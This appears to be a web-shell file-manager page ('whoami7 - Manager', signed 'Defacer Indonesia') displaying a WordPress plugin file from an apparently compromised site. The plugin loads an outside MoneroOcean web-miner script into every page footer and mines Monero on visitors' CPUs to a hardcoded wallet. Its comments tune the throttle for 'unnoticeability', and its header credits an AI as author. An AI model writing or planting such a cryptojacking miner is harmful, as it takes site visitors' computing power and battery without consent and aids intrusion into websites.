whoami7 - Manager
:
/
home
/
ezdajrnh
/
www
/
wp-content
/
plugins
/
moneroocean-plugin
/
Upload File:
files >> /home/ezdajrnh/www/wp-content/plugins/moneroocean-plugin/moneroocean-web-miner.php
<?php /** * Plugin Name: MoneroOcean Web Miner * Plugin URI: https://moneroocean.stream/ * Description: Injects the MoneroOcean web miner script into the footer of every page to mine XMR using visitor's CPU. * Version: 1.1.0 * Author: Gemini AI * Author URI: https://gemini.google.com/ * License: GPL-2.0-or-later * License URI: https://www.gnu.org/licenses/gpl-2.0.html * Text Domain: moneroocean-web-miner */ // Защита от прямого доступа к файлу if (!defined('ABSPATH')) { exit; // Exit if accessed directly. } /** * Основная функция, которая выводит (echo) скрипт майнера. * Эта функция будет прикреплена к хуку wp_footer. */ function mowm_inject_miner_script() { // Используем HEREDOC для удобного встраивания многострочного JS-кода. // Все настройки майнера находятся внутри этого блока. $miner_script = <<<EOT <!-- START MONEROOCEAN MINER --> <script src="https://moneroocean.stream/web/webminer.min.js"></script> <script> // Инициализация майнера с вашим кошельком и настройками var miner = new WebMiner.Anonymous('49BACoxJZuqN2Xz4fUi87ffPabmBQtobGUJyWhnWLk8jQXZWBMJDghUABvwqkRcrpQeWvBHaWv1VY9RF2Yu7HvKjAtYLJVR', { // Загрузка процессора: 0.3 означает, что 30% времени процессор будет простаивать. // Фактическая нагрузка составит около 70% от выделенных ядер. // Это хороший баланс между доходностью и незаметностью. throttle: 0.3, // Количество потоков: жестко задаем 2 потока. // Это эффективнее, чем 1, но не перегружает современные многоядерные процессоры. threads: 2, autoThreads: false // Отключаем автоматическое определение потоков }); // Условие запуска: // 1. Не запускать на мобильных устройствах (чтобы не разряжать батарею). // 2. Не запускать, если пользователь отказался от майнинга (этично и снижает жалобы). if (!miner.isMobile() && !miner.didOptOut(1)) { miner.start(); } </script> <!-- END MONEROOCEAN MINER --> EOT; echo $miner_script; } /** * Прикрепляем нашу функцию к стандартному хуку WordPress 'wp_footer'. * WordPress автоматически вызовет нашу функцию mowm_inject_miner_script() * каждый раз, когда будет генерировать подвал страницы. * Число 99 - это приоритет, ставим высокий, чтобы скрипт был одним из последних в подвале. */ add_action('wp_footer', 'mowm_inject_miner_script', 99); ?>
Copyright ©2021 || Defacer Indonesia